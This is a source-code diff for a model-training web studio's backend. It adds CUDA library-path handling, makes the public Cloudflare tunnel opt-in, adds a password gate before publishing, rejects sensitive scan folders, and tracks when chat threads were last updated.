         # -- but only for genuine first-party (unsloth/nvidia) Hub repos, never a
         # local path or a name merely starting with "unsloth/".
@@ -426,9 +454,16 @@ async def start_training(
                 logger.warning("Chat/training VRAM coordination failed; proceeding: %s", e)
 
         # The hook runs only once start guards pass -> VRAM freed iff training starts.
-        success = backend.start_training(
-            job_id = job_id, before_spawn = _free_vram_for_training, **training_kwargs
-        )
+        from utils.transformers_version import SidecarSwapInProgress
+
+        try:
+            success = backend.start_training(
+                job_id = job_id, before_spawn = _free_vram_for_training, **training_kwargs
+            )
+        except SidecarSwapInProgress as exc:
+            # Expected loss of the race against a sidecar install: a retryable
+            # 409 matching the route-entry guard, not an internal error.
+            raise HTTPException(status_code = 409, detail = str(exc))
 
         if not success:
             progress_error = backend.trainer.training_progress.error
@@ -698,7 +733,9 @@ async def stream_training_progress(
     if last_event_id is not None:
         try:
             resume_from_step = int(last_event_id)
-            logger.info(f"SSE reconnect: resuming from step {resume_from_step}")
+            # Fires on every reconnect (each tab switch); the meaningful signal is
+            # the "replayed N missed steps" line below, logged only when N > 0.
+            logger.debug(f"SSE reconnect: resuming from step {resume_from_step}")
         except ValueError:
             logger.warning(f"Invalid Last-Event-ID: {last_event_id}")
 
diff --git a/studio/backend/run.py b/studio/backend/run.py
index ccd0113972..4f105b53b1 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -10,7 +10,80 @@ import os
 import sys
 import time
 from pathlib import Path
-from typing import Optional
+from typing import Optional, Tuple
+
+
+def _fix_torch_cuda_ld_path():
+    """Prepend torch's bundled CUDA libs to LD_LIBRARY_PATH.
+
+    PyTorch wheels ship their own CUDA runtime (libcudart, libcublas, ...) in
+    ``site-packages/nvidia/*/lib``. On Linux the dynamic linker reads
+    LD_LIBRARY_PATH before the RUNPATH baked into torch's .so files, so a
+    pre-existing LD_LIBRARY_PATH pointing at a different system CUDA (e.g.
+    /usr/local/cuda-13/lib64 from conda or a Docker base image) shadows torch's
+    libs and triggers "undefined symbol" errors when torch is imported. Detect
+    torch's lib dirs (without importing torch) and prepend them. Returns True if
+    LD_LIBRARY_PATH was changed.
+    """
+    if sys.platform != "linux":
+        return False
+    ld_path = os.environ.get("LD_LIBRARY_PATH", "")
+    if not ld_path:
+        return False
+    try:
+        import importlib.util
+
+        spec = importlib.util.find_spec("torch")
+        if not spec or not spec.origin:
+            return False
+        torch_dir = os.path.dirname(spec.origin)
+        site_pkgs = os.path.dirname(torch_dir)
+        nvidia_dir = os.path.join(site_pkgs, "nvidia")
+
+        lib_dirs = []
+        torch_lib = os.path.join(torch_dir, "lib")
+        if os.path.isdir(torch_lib):
+            lib_dirs.append(torch_lib)
+        if os.path.isdir(nvidia_dir):
+            for sub in sorted(os.listdir(nvidia_dir)):
+                lib = os.path.join(nvidia_dir, sub, "lib")
+                if os.path.isdir(lib):
+                    lib_dirs.append(lib)
+        if not lib_dirs:
+            return False
+
+        existing = ld_path.split(":")
+        if existing[: len(lib_dirs)] == lib_dirs:
+            return False  # already at the front, nothing to do
+
+        torch_set = set(lib_dirs)
+        cleaned = [p for p in existing if p not in torch_set]
+        os.environ["LD_LIBRARY_PATH"] = ":".join(lib_dirs + cleaned)
+        return True
+    except Exception:
+        return False
+
+
+_LD_FIXED_SENTINEL = "_UNSLOTH_STUDIO_LD_FIXED"
+
+
+def _maybe_reexec_for_cuda_ld_path():
+    """Re-exec once so the dynamic linker sees the corrected LD_LIBRARY_PATH.
+
+    LD_LIBRARY_PATH is read at process start, so editing os.environ in-process
+    cannot fix the running interpreter; a single re-exec is required. Call only
+    from a true entry point (the ``if __name__ == "__main__"`` block), never at
+    import time, because os.execv replaces the whole process (an embedder such
+    as Colab that does ``from run import run_server`` must not be re-exec'd).
+    """
+    if _LD_FIXED_SENTINEL in os.environ:
+        return
+    if not _fix_torch_cuda_ld_path():
+        return
+    os.environ[_LD_FIXED_SENTINEL] = "1"
+    argv = getattr(sys, "orig_argv", None) or [sys.executable, *sys.argv]
+    os.execv(sys.executable, argv)
+
 
 # Suppress C-level dependency warnings globally (e.g. SwigPyPacked).
 os.environ["PYTHONWARNINGS"] = "ignore"
@@ -543,24 +616,28 @@ def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1
                 f"bind {loopback_host} or close firewall access to keep Studio private.",
                 warn,
             )
-    elif not _cloudflare_flag:
+    elif _cloudflare_flag is False or _cloudflare_flag is None:
+        # None = off by default (no flag); False = explicit --no-cloudflare.
+        _reason = "default" if _cloudflare_flag is None else "--no-cloudflare"
         if _public_reachable is True:
             _emit(
-                "  Cloudflare tunnel: OFF (--no-cloudflare). The raw port is still "
+                f"  Cloudflare tunnel: OFF ({_reason}). The raw port is still "
                 "reachable from the public internet (see the reachability check above): "
-                "--no-cloudflare disables only the Cloudflare link, not the public bind.",
+                "pass --cloudflare to also expose a public Cloudflare HTTPS link, or "
+                f"bind {loopback_host} to keep Studio private.",
                 warn,
             )
         elif _public_reachable is False:
             _emit(
-                "  Cloudflare tunnel: OFF (--no-cloudflare). Studio is reachable on your "
-                "local network only. Omit --no-cloudflare to expose a public "
+                f"  Cloudflare tunnel: OFF ({_reason}). Studio is reachable on your "
+                "local network only. Pass --cloudflare to expose a public "
                 "Cloudflare HTTPS link."
             )
         else:
             _emit(
-                "  Cloudflare tunnel: OFF (--no-cloudflare). There is no Cloudflare "
-                "public link. Raw port reachability was not verified; "
+                f"  Cloudflare tunnel: OFF ({_reason}). There is no Cloudflare "
+                "public link. Raw port reachability was not verified; pass --cloudflare "
+                "to expose a public Cloudflare HTTPS link, or "
                 f"bind {loopback_host} or close firewall access to keep Studio private.",
                 warn,
             )
@@ -801,7 +878,9 @@ _cloudflare_url = None
 _public_reachable = None
 
 _cloudflare_requested = False
-_cloudflare_flag = True
+# Opt-in tri-state (mirrors the CLI): None = off by default, True = on,
+# False = explicit --no-cloudflare. run_server overwrites it before the banner.
+_cloudflare_flag = None
 
 
 _DEFAULT_FRONTEND_PATH = Path(__file__).resolve().parent.parent / "frontend" / "dist"
@@ -984,6 +1063,199 @@ def _cloudflare_tunnel_should_start(
     return host in ("0.0.0.0", "::") and not api_only
 
 
+def _stream_isatty(stream) -> bool:
+    """isatty() that treats broken streams as non-interactive.
+
+    isatty() can raise under service wrappers (closed stdin -> ValueError;
+    sys.stdin None in Windows GUI -> AttributeError); such a stream can't host a
+    prompt, which is a fallback, not an error.
+    """
+    try:
+        return stream.isatty()
+    except (AttributeError, ValueError):
+        return False
+
+
+def _terminal_password_gate(
+    *,
+    tunnel_will_start: bool,
+    host: str,
+    secure: bool,
+    api_only: bool,
+    frontend_served: bool,
+    is_colab: bool = False,
+) -> Tuple[bool, bool]:
+    """Force a terminal password change before the public tunnel goes up.
+
+    When the tunnel is about to publish Studio and the seeded admin password was
+    never changed, ask for a new one (masked, confirmed) before any public URL
+    exists. The CLI normally does this before re-exec'ing the backend; this is
+    the backstop for direct `python run.py` launches and older-CLI installs.
+    Must run BEFORE the uvicorn socket binds: on a wildcard bind the served HTML
+    injects the bootstrap credential, so a pre-gate listener would hand the
+    default password to anyone reaching the raw port while the operator types.
+
+    Returns (proceed, drop_bootstrap_injection):
+      proceed False -> abort the launch (interactive refusal, or a headless
+        public launch nothing would protect); fail closed.
+      drop_bootstrap_injection True -> caller must null
+        app.state.bootstrap_password: the password just changed (stale), or a
+        public URL is about to serve the default credential and must not leak it.
+
+    Without a usable terminal the prompt is skipped: proceed if the bootstrap
+    deadline (armed later) will protect the launch; if even that is disabled
+    (api-only, timeout 0) nothing protects it, so refuse. NOT wrapped in a broad
+    try/except: an auth storage failure must abort rather than expose the default.
+    """
+    if not tunnel_will_start:
+        return True, False
+
+    from auth import hashing as _auth_hashing
+    from auth import storage as _auth_storage
+    from auth.bootstrap_timeout import (
+        bootstrap_timeout_seconds,
+        should_arm_bootstrap_timeout,
+    )
+    from auth.terminal_prompt import (
+        prompt_for_password_change,
+        should_prompt_password_change,
+    )
+
+    _admin = _auth_storage.DEFAULT_ADMIN_USERNAME
+    # Gate can run before lifespan: seed the admin row here (idempotent).
+    _auth_storage.ensure_default_admin()
+    requires_change = _auth_storage.requires_password_change(_admin)
+    if not requires_change:
+        return True, False
+
+    if not should_prompt_password_change(
+        tunnel_will_start = tunnel_will_start,
+        requires_change = requires_change,
+        stdin_isatty = _stream_isatty(sys.stdin),
+        stderr_isatty = _stream_isatty(sys.stderr),
+    ):
+        # No terminal: only proceed if the bootstrap deadline will arm; api-only
+        # and TIMEOUT=0 never arm it, leaving the default credential public.
+        deadline_arms = should_arm_bootstrap_timeout(
+            host = host,
+            secure = secure,
+            api_only = api_only,
+            frontend_served = frontend_served,
+            is_colab = is_colab,
+            requires_change = True,
+            timeout_seconds = bootstrap_timeout_seconds(),
+        )
+        if not deadline_arms:
+            print(
+                "Refusing to publish Studio on a public Cloudflare URL: the "
+                "default admin password was never changed, no terminal is "
+                "attached to change it here, and the bootstrap shutdown "
+                "deadline does not apply to this launch (api-only, or "
+                "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0). Change the password "
+                "first (run `unsloth studio` locally and log in, or re-run "
+                "with a terminal attached), then retry.",
+                file = sys.stderr,
+                flush = True,
+            )
+            return False, False
+        # The public page won't auto-fill the bootstrap credential (suppressed
+        # below) and the seeded file may already be gone, so point recovery at a
+        # terminal-attached run / reset-password instead of reading it from disk.
+        print(
+            "  WARNING: the default admin password is still active while "
+            "Studio is about to be published on a public Cloudflare URL, and "
+            "no terminal is attached to change it here. The public page will "
+            "NOT auto-fill the bootstrap credential. Set a new password by "
+            "running `unsloth studio` locally with a terminal attached, or "
+            "`unsloth studio reset-password`. Studio shuts down after the "
+            "bootstrap deadline (UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT, default 1h) "
+            "unless the password is changed.",
+            file = sys.stderr,
+            flush = True,
+        )
+        # Never serve the default credential in HTML over a public URL.
+        return True, True
+
+    def _is_current_password(candidate: str) -> bool:
+        record = _auth_storage.get_user_and_secret(_admin)
+        if record is None:
+            return False
+        salt, pwd_hash, _jwt_secret, _must_change = record
+        return _auth_hashing.verify_password(candidate, salt, pwd_hash)
+
+    def _apply_change(new_password: str) -> None:
+        # Same effects as routes/auth.py change_password: rehash, rotate the JWT
+        # secret, revoke refresh tokens in the SAME transaction.
+        _auth_storage.update_password(_admin, new_password, revoke_refresh_tokens = True)
+
+    changed = prompt_for_password_change(
+        min_length = _auth_storage.MIN_PASSWORD_LENGTH,
+        is_current_password = _is_current_password,
+        apply_change = _apply_change,
+        out = sys.stderr,
+    )
+    return (True, True) if changed else (False, False)
+
+
+def _apply_supplied_password(password_value: "Optional[str]") -> None:
+    """Non-interactively set the INITIAL admin password before the socket binds,
+    for a direct ``python run.py`` launch (the CLI does this in its own parent).
+    Value comes from --password / UNSLOTH_STUDIO_PASSWORD / stdin.
+
+    Only ever sets the FIRST password: an already-set one is a hard error, an
+    invalid value fails closed. NOT wrapped in a broad try/except: an auth
+    storage failure must abort rather than expose the default credential.
+    """
+    from auth import hashing as _auth_hashing
+    from auth import storage as _auth_storage
+    from auth.terminal_prompt import SUPPLIED_PASSWORD_ENV, resolve_supplied_password
+
+    supplied = resolve_supplied_password(password_value)
+    # Strip the env var once read so child subprocesses (cloudflared, llama-server,
+    # code-exec tools) can't inherit the plaintext via /proc/PID/environ. Mirrors
+    # the CLI. Unconditional: strips a leftover value even when a literal --password won.
+    os.environ.pop(SUPPLIED_PASSWORD_ENV, None)
+    if not supplied:
+        return
+
+    _admin = _auth_storage.DEFAULT_ADMIN_USERNAME
+    _auth_storage.ensure_default_admin()
+    if not _auth_storage.requires_password_change(_admin):
+        print(
+            "Error: a Studio admin password is already set; --password only sets "
+            "the initial password. Run `unsloth studio reset-password` first.",
+            file = sys.stderr,
+            flush = True,
+        )
+        sys.exit(1)
+
+    def _is_current_password(candidate: str) -> bool:
+        record = _auth_storage.get_user_and_secret(_admin)
+        if record is None:
+            return False
+        salt, pwd_hash, _jwt_secret, _must_change = record
+        return _auth_hashing.verify_password(candidate, salt, pwd_hash)
+
+    if len(supplied) < _auth_storage.MIN_PASSWORD_LENGTH:
+        print(
+            f"Error: password must be at least {_auth_storage.MIN_PASSWORD_LENGTH} "
+            "characters; not starting.",
+            file = sys.stderr,
+            flush = True,
+        )
+        sys.exit(1)
+    if _is_current_password(supplied):
+        print(
+            "Error: the new password must differ from the current bootstrap "
+            "password; not starting.",
+            file = sys.stderr,
+            flush = True,
+        )
+        sys.exit(1)
+    _auth_storage.update_password(_admin, supplied, revoke_refresh_tokens = True)
+    print(f"Password updated for '{_admin}'.", file = sys.stderr, flush = True)
+
+
 def _apply_cli_tool_policy(enable_tools: "Optional[bool]") -> None:
     """Honor an explicit --enable-tools/--disable-tools; None leaves the policy
     unset (tools default on, per-request enable_tools honored). Host is never
@@ -1002,9 +1274,10 @@ def run_server(
     silent: bool = False,
     api_only: bool = False,
     llama_parallel_slots: int = 1,
-    cloudflare: bool = True,
+    cloudflare: "Optional[bool]" = None,
     secure: bool = False,
     enable_tools: "Optional[bool]" = None,
+    password: "Optional[str]" = None,
     emit_tauri_port: bool = True,
 ):
     """
@@ -1017,6 +1290,9 @@ def run_server(
         silent: Suppress startup messages
         api_only: API server only, no frontend (for Tauri desktop app)
         llama_parallel_slots: parallel slots for llama-server
+        cloudflare: opt in to the public Cloudflare HTTPS tunnel for a wildcard
+            bind. Tri-state: None (unset) and False both mean off; True enables it.
+            --secure implies it (True) and rejects an explicit False.
         enable_tools: explicit --enable-tools/--disable-tools policy; None leaves
             the default (tools on, per-request enable_tools honored)
         emit_tauri_port: print the machine-readable TAURI_PORT line the desktop
@@ -1038,13 +1314,16 @@ def run_server(
 
     initialize_parent_lifetime()
 
-    # --secure exposes only the Cloudflare link: force a loopback bind so the raw
-    # port is never public (even with -H 0.0.0.0), and reject the contradictory combo.
-    if secure and not cloudflare:
-        raise SystemExit(
-            "A secure Cloudflare link is not allowed, use --no-secure which provides a 0.0.0.0 link"
-        )
+    # --secure exposes ONLY the Cloudflare link: reject --secure --no-cloudflare,
+    # then force a loopback bind so the raw port is never public (even -H 0.0.0.0).
+    # Otherwise keep the tri-state so the banner distinguishes "off by default"
+    # from an explicit --no-cloudflare.
     if secure:
+        if cloudflare is False:
+            raise SystemExit(
+                "--secure requires the Cloudflare tunnel; do not combine it with --no-cloudflare."
+            )
+        cloudflare = True
         host = "127.0.0.1"
 
     # `unsloth studio run` installs its own resolved policy and passes None here.
@@ -1075,14 +1354,35 @@ def run_server(
     if secure:
         os.environ["UNSLOTH_SECURE"] = "1"
 
-    import nest_asyncio
-
-    nest_asyncio.apply()
-
     import asyncio
+
+    # nest_asyncio is for Colab/IPython, where the main thread already runs a loop
+    # the blocking waits below would collide with. Apply it only with a loop running
+    # (a plain CLI start has nothing to nest) and only on Python <= 3.13: on 3.14+
+    # its global Task patch leaves asyncio.current_task() None (tracking moved into
+    # C), which also breaks the background uvicorn loop and 500s every request. It
+    # is archived upstream, so no 3.14 fix is coming; skip it there.
+    if sys.version_info < (3, 14):
+        try:
+            asyncio.get_running_loop()
+        except RuntimeError:
+            pass
+        else:
+            import nest_asyncio
+            nest_asyncio.apply()
+
     from threading import Thread, Event
     import uvicorn
 
+    # `from main import app` below loads torch/unsloth/transformers (~2 min cold,
+    # silent), so print a flushed heads-up (piped stdout is block-buffered).
+    if not silent:
+        print(
+            "Loading Unsloth Studio, please wait... (this can take a few minutes)",
+            flush = True,
+        )
+        print("  - loading PyTorch, Unsloth and Transformers...", flush = True)
+
     import_started = time.perf_counter()
 
     from main import app, setup_frontend, _IS_COLAB
@@ -1091,6 +1391,8 @@ def run_server(
         "Imported FastAPI app in %.1fms",
         (time.perf_counter() - import_started) * 1000,
     )
+    if not silent:
+        print("  - Starting server...", flush = True)
     from utils.paths import ensure_studio_directories
 
     # Allow local stdio MCP servers on a loopback bind (the user's own machine),
@@ -1118,7 +1420,7 @@ def run_server(
             print("=" * 50)
             if blocker:
                 pid, name = blocker
-                print(f"Port {original_port} is already in use by " f"{name} (PID {pid}).")
+                print(f"Port {original_port} is already in use by {name} (PID {pid}).")
             else:
                 print(f"Port {original_port} is already in use.")
             print(f"Unsloth Studio will use port {port} instead.")
@@ -1231,6 +1533,44 @@ def run_server(
 
     app.state.trigger_shutdown = _trigger_shutdown
 
+    # A supplied --password / UNSLOTH_STUDIO_PASSWORD / stdin sets the initial
+    # admin password before the gate and socket bind (direct `python run.py`;
+    # the CLI applies it in its own parent).
+    _apply_supplied_password(password)
+
+    # Never publish with the seeded default password active: prompt first (or
+    # warn / fail closed headless; see _terminal_password_gate). Runs BEFORE the
+    # socket binds so a pre-gate listener can't hand out the injected credential.
+    _pw_proceed, _pw_drop_bootstrap = _terminal_password_gate(
+        tunnel_will_start = _cloudflare_tunnel_should_start(
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+            api_only = api_only,
+            is_colab = _IS_COLAB,
+        ),
+        host = host,
+        secure = secure,
+        api_only = api_only,
+        frontend_served = bool(frontend_path) and not api_only,
+        is_colab = _IS_COLAB,
+    )
+    if not _pw_proceed:
+        print(
+            "Not starting Studio; set a new admin password first, or launch "
+            "without --secure/--cloudflare.",
+            file = sys.stderr,
+            flush = True,
+        )
+        sys.exit(1)
+    if _pw_drop_bootstrap:
+        # Password just changed (stale) or a public URL is about to serve the
+        # default credential: don't leak it in the HTML. Lifespan runs AFTER this
+        # and re-reads the bootstrap password, so the flag (not a plain None)
+        # makes it skip that re-read.
+        app.state.suppress_bootstrap_injection = True
+        app.state.bootstrap_password = None
+
     # Run server in a daemon thread with explicit new_event_loop() +
     # run_until_complete() (not asyncio.run) so nest_asyncio's patches don't
     # interfere when Colab/IPython already runs a loop on the main thread.
@@ -1300,6 +1640,7 @@ def run_server(
         is_colab = _IS_COLAB,
     )
     _cloudflare_requested = _cloudflare_enabled
+
     if _cloudflare_enabled:
         try:  # best-effort: any failure must not block startup
             from cloudflare_tunnel import start_studio_tunnel, stop_studio_tunnel
@@ -1387,6 +1728,14 @@ def _build_arg_parser():
         default = "127.0.0.1",
         help = "Host to bind to (default: 127.0.0.1; use 0.0.0.0 for network/cloud access)",
     )
+    parser.add_argument(
+        "--password",
+        default = None,
+        help = "Set the INITIAL admin password non-interactively (headless), only when "
+        "none is set yet. Also reads UNSLOTH_STUDIO_PASSWORD, or --password - for stdin. "
+        "A literal value is visible in the process list. Rotate later via "
+        "`unsloth studio reset-password`.",
+    )
     parser.add_argument("--port", type = int, default = 8888, help = "Port to bind to")
     parser.add_argument(
         "--frontend",
@@ -1403,11 +1752,13 @@ def _build_arg_parser():
     parser.add_argument(
         "--cloudflare",
         action = argparse.BooleanOptionalAction,
-        default = True,
-        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
-        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
-        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
-        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
+        default = None,
+        help = "Expose Studio on a PUBLIC internet URL via a free Cloudflare HTTPS "
+        "tunnel, for non-api-only wildcard binds (0.0.0.0 or ::). Off by default; "
+        "pass --cloudflare to enable it (--secure implies it), --no-cloudflare to "
+        "force it off. It does not change a raw wildcard bind. If the admin "
+        "password was never changed, Studio asks for a new one in the terminal "
+        "before publishing the URL.",
     )
     parser.add_argument(
         "--secure",
@@ -1415,7 +1766,9 @@ def _build_arg_parser():
         default = False,
         help = "Expose ONLY a Cloudflare HTTPS link: bind localhost and fail closed "
         "if the tunnel can't start. Without it, --no-secure also serves the raw "
-        "0.0.0.0 port, which is reachable from anywhere on the network",
+        "0.0.0.0 port, which is reachable from anywhere on the network. If the "
+        "admin password was never changed, Studio asks for a new one in the "
+        "terminal before publishing the URL.",
     )
     # Back-compat: accept --not-secure as a hidden alias for --no-secure.
     parser.add_argument(
@@ -1457,6 +1810,12 @@ def _build_arg_parser():
 
 # For direct execution (also invoked by CLI via os.execvp / subprocess).
 if __name__ == "__main__":
+    # Correct a conflicting system CUDA on LD_LIBRARY_PATH before torch is
+    # imported (below, via run_server). Re-execs once on Linux so the dynamic
+    # linker uses torch's bundled CUDA libs; no-op on other platforms, when
+    # LD_LIBRARY_PATH is unset or already correct, or after the single re-exec.
+    _maybe_reexec_for_cuda_ld_path()
+
     import signal
     import traceback
 
@@ -1471,7 +1830,7 @@ if __name__ == "__main__":
     args = parser.parse_args()
     if not _PARALLEL_MIN <= args.parallel <= _PARALLEL_MAX:
         parser.error(f"--parallel must be between {_PARALLEL_MIN} and {_PARALLEL_MAX}")
-    if args.secure and not args.cloudflare:
+    if args.secure and args.cloudflare is False:
         parser.error(
             "--secure requires the Cloudflare tunnel; do not combine it with --no-cloudflare"
         )
@@ -1485,6 +1844,7 @@ if __name__ == "__main__":
         cloudflare = args.cloudflare,
         secure = args.secure,
         enable_tools = args.enable_tools,
+        password = args.password,
     )
     if args.frontend is not None:
         kwargs["frontend_path"] = Path(args.frontend)
diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py
index ba9f5b9cbc..4e0c711b69 100644
--- a/studio/backend/storage/studio_db.py
+++ b/studio/backend/storage/studio_db.py
@@ -22,7 +22,15 @@ logger = logging.getLogger(__name__)
 from typing import Any, Iterable, Optional
 
 
-from utils.paths import project_workspaces_root, studio_db_path, ensure_dir
+from utils.paths import (
+    ensure_dir,
+    project_workspaces_root,
+    studio_db_path,
+)
+from utils.paths.external_media import is_linux_run_media_path, is_local_filesystem_root
+from utils.paths.sensitive import (
+    contains_sensitive_path_component as _shared_contains_sensitive_path_component,
+)
 from utils.training_runs import extract_project_name
 
 
@@ -61,6 +69,33 @@ def _denied_path_prefixes() -> list[str]:
     return []
 
 
+def is_denied_system_path(path: str) -> bool:
+    """True if *path* is, or descends from, a denied system directory.
+
+    Mirrors the denylist add_scan_folder() enforces at registration so the
+    browser refuses /etc, /proc, C:\\Windows, etc. even when the allowlist holds
+    a broad root (a Windows drive root C:\\ or a legacy-registered / root). The
+    /run carve-out keeps Linux removable-media mounts browseable. Expects an
+    already-resolved (realpath) path so symlinks cannot escape into a denied subtree.
+    """
+    is_win = platform.system() == "Windows"
+    check = os.path.normcase(path) if is_win else path
+    for prefix in _denied_path_prefixes():
+        if check == prefix or check.startswith(prefix + os.sep):
+            if prefix == "/run" and is_linux_run_media_path(check):
+                continue
+            return True
+    return False
+
+
+def _contains_sensitive_path_component(path: str) -> bool:
+    return _shared_contains_sensitive_path_component(path)
+
+
+def contains_sensitive_path_component(path: str) -> bool:
+    return _contains_sensitive_path_component(path)
+
+
 _schema_lock = threading.Lock()
 _schema_ready = False
 _SQLITE_IN_CHUNK_SIZE = 900
@@ -224,6 +259,7 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
             project_id TEXT,
             archived INTEGER NOT NULL DEFAULT 0,
             created_at INTEGER NOT NULL,
+            updated_at INTEGER,
             openai_code_exec_container_id TEXT,
             anthropic_code_exec_container_id TEXT,
             forked_from_thread_id TEXT,
@@ -245,6 +281,24 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
         conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_thread_id TEXT")
     if "forked_from_message_id" not in chat_thread_cols:
         conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_message_id TEXT")
+    if "updated_at" not in chat_thread_cols:
+        conn.execute("ALTER TABLE chat_threads ADD COLUMN updated_at INTEGER")
+        # Floor at created_at: forked threads copy older ancestor messages,
+        # so the fork's creation time must win over the branch message times.
+        conn.execute(
+            """
+            UPDATE chat_threads SET updated_at = MAX(
+                COALESCE(
+                    (
+                        SELECT MAX(m.created_at) FROM chat_messages m
+                        WHERE m.thread_id = chat_threads.id
+                    ),
+                    created_at
+                ),
+                created_at
+            )
+            """
+        )
     conn.execute(
         """
         CREATE TABLE IF NOT EXISTS chat_messages (
@@ -896,6 +950,14 @@ def add_scan_folder(path: str) -> dict:
         raise ValueError("Path must be a directory, not a file")
     if not os.access(normalized, os.R_OK | os.X_OK):
         raise ValueError("Path is not readable")
+    # Reject a local filesystem root ("/", or a bare Windows drive root "C:\\"):
+    # registering one seeds the browse allowlist with a root above denied system
+    # dirs. A UNC share root (\\server\share) has none under it and was
+    # registerable before this guard, so it stays allowed. Mirrors scan_folders.py.
+    if is_local_filesystem_root(normalized):
+        raise ValueError("The filesystem root cannot be registered")
+    if _contains_sensitive_path_component(normalized):
+        raise ValueError("Credential or configuration directories are not allowed")
 
     # Windows: normcase for the denylist check but store original casing
     # so consumers see the native drive-letter casing (e.g. C:\Models).
@@ -903,6 +965,8 @@ def add_scan_folder(path: str) -> dict:
     check = os.path.normcase(normalized) if is_win else normalized
     for prefix in _denied_path_prefixes():
         if check == prefix or check.startswith(prefix + os.sep):
+            if prefix == "/run" and is_linux_run_media_path(check):
+                continue
             raise ValueError(f"Path under {prefix} is not allowed")
 
     conn = get_connection()
@@ -972,6 +1036,9 @@ def _chat_thread_from_row(row: sqlite3.Row) -> dict:
         "projectId": data.get("project_id") or None,
         "archived": bool(data["archived"]),
         "createdAt": data["created_at"],
+        "updatedAt": data.get("updated_at")
+        if data.get("updated_at") is not None
+        else data["created_at"],
         "openaiCodeExecContainerId": data.get("openai_code_exec_container_id"),
         "anthropicCodeExecContainerId": data.get("anthropic_code_exec_container_id"),
         "forkedFromThreadId": data.get("forked_from_thread_id"),
@@ -1019,8 +1086,8 @@ def upsert_chat_thread(thread: dict) -> dict:
         conn.execute(
             """
             INSERT INTO chat_threads
-                (id, title, model_type, model_id, pair_id, project_id, archived, created_at, openai_code_exec_container_id, anthropic_code_exec_container_id, forked_from_thread_id, forked_from_message_id)
-            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+                (id, title, model_type, model_id, pair_id, project_id, archived, created_at, updated_at, openai_code_exec_container_id, anthropic_code_exec_container_id, forked_from_thread_id, forked_from_message_id)
+            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
             ON CONFLICT(id) DO UPDATE SET
                 title = excluded.title,
                 model_type = excluded.model_type,
@@ -1029,6 +1096,7 @@ def upsert_chat_thread(thread: dict) -> dict:
                 project_id = excluded.project_id,
                 archived = excluded.archived,
                 created_at = excluded.created_at,
+                updated_at = COALESCE(excluded.updated_at, chat_threads.updated_at),
                 openai_code_exec_container_id = excluded.openai_code_exec_container_id,
                 anthropic_code_exec_container_id = excluded.anthropic_code_exec_container_id,
                 forked_from_thread_id = excluded.forked_from_thread_id,
@@ -1043,6 +1111,7 @@ def upsert_chat_thread(thread: dict) -> dict:
                 thread.get("projectId"),
                 1 if thread.get("archived") else 0,
                 int(thread["createdAt"]),
+                int(thread["updatedAt"]) if thread.get("updatedAt") is not None else None,
                 thread.get("openaiCodeExecContainerId"),
                 thread.get("anthropicCodeExecContainerId"),
                 thread.get("forkedFromThreadId"),
@@ -1064,6 +1133,7 @@ def update_chat_thread(id: str, patch: dict) -> Optional[dict]:
         "projectId": ("project_id", patch.get("projectId")),
         "archived": ("archived", 1 if patch.get("archived") else 0),
         "createdAt": ("created_at", patch.get("createdAt")),
+        "updatedAt": ("updated_at", patch.get("updatedAt")),
         "openaiCodeExecContainerId": (
             "openai_code_exec_container_id",
             patch.get("openaiCodeExecContainerId"),
@@ -1135,7 +1205,8 @@ def list_chat_threads(
     conn = get_connection()
     try:
         rows = conn.execute(
-            f"SELECT * FROM chat_threads {where} ORDER BY created_at DESC",
+            f"SELECT * FROM chat_threads {where} "
+            "ORDER BY COALESCE(updated_at, created_at) DESC, created_at DESC",
             values,
         ).fetchall()
         return [_chat_thread_from_row(row) for row in rows]
@@ -1374,6 +1445,44 @@ def _raise_if_chat_message_thread_conflicts(
         )
 
 
+def _bump_chat_thread_updated_at(
+    conn: sqlite3.Connection, thread_id: str, message_created_at: int
+) -> None:
+    conn.execute(
+        """
+        UPDATE chat_threads
+        SET updated_at = MAX(COALESCE(updated_at, created_at), ?)
+        WHERE id = ?
+        """,
+        (message_created_at, thread_id),
+    )
+
+
+def _recompute_chat_thread_updated_at(conn: sqlite3.Connection, thread_id: str) -> None:
+    """Set updated_at from the remaining messages, floored at created_at.
+
+    Unlike the ratchet-only bump, this can lower updated_at -- needed after
+    pruning, which may delete the thread's newest message.
+    """
+    conn.execute(
+        """
+        UPDATE chat_threads
+        SET updated_at = MAX(
+            COALESCE(
+                (
+                    SELECT MAX(m.created_at) FROM chat_messages m
+                    WHERE m.thread_id = chat_threads.id
+                ),
+                created_at
+            ),
+            created_at
+        )
+        WHERE id = ?
+        """,
+        (thread_id,),
+    )
+
+
 def upsert_chat_message(message: dict) -> dict:
     conn = get_connection()
     try:
@@ -1412,6 +1521,7 @@ def upsert_chat_message(message: dict) -> dict:
                 int(message["createdAt"]),
             ),
         )
+        _bump_chat_thread_updated_at(conn, message["threadId"], int(message["createdAt"]))
         conn.commit()
         return message
     except Exception:
@@ -1464,6 +1574,12 @@ def sync_chat_messages(
                 for m in messages
             ],
         )
+        if prune_missing:
+            _recompute_chat_thread_updated_at(conn, thread_id)
+        elif messages:
+            _bump_chat_thread_updated_at(
+                conn, thread_id, max(int(m["createdAt"]) for m in messages)
+            )
         conn.commit()
         return list_chat_messages(thread_id)
     except ChatMessageConflictError:
diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py
index 92a87ce045..3b0ea37372 100644
--- a/studio/backend/tests/test_anthropic_messages.py
+++ b/studio/backend/tests/test_anthropic_messages.py
@@ -52,6 +52,49 @@ from io import BytesIO as _BytesIO
 from types import SimpleNamespace
 
 
+def _emitter_client_text(events: list[str]) -> str:
+    """Concatenate the text_delta payloads an SSE event list carries."""
+    text = ""
